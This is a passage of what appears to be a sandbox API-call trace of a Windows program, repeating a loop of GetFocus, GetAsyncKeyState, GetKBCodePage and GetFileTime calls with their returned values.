dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.495] GetFocus () returned 0x0 [0255.495] GetAsyncKeyState (vKey=58) returned 0 [0255.495] GetKBCodePage () returned 0x1b5 [0255.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.496] GetFocus () returned 0x0 [0255.496] GetAsyncKeyState (vKey=58) returned 0 [0255.496] GetKBCodePage () returned 0x1b5 [0255.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.497] GetFocus () returned 0x0 [0255.497] GetAsyncKeyState (vKey=58) returned 0 [0255.497] GetKBCodePage () returned 0x1b5 [0255.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.498] GetFocus () returned 0x0 [0255.498] GetAsyncKeyState (vKey=58) returned 0 [0255.498] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.499] GetKBCodePage () returned 0x1b5 [0255.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.499] GetFocus () returned 0x0 [0255.499] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, 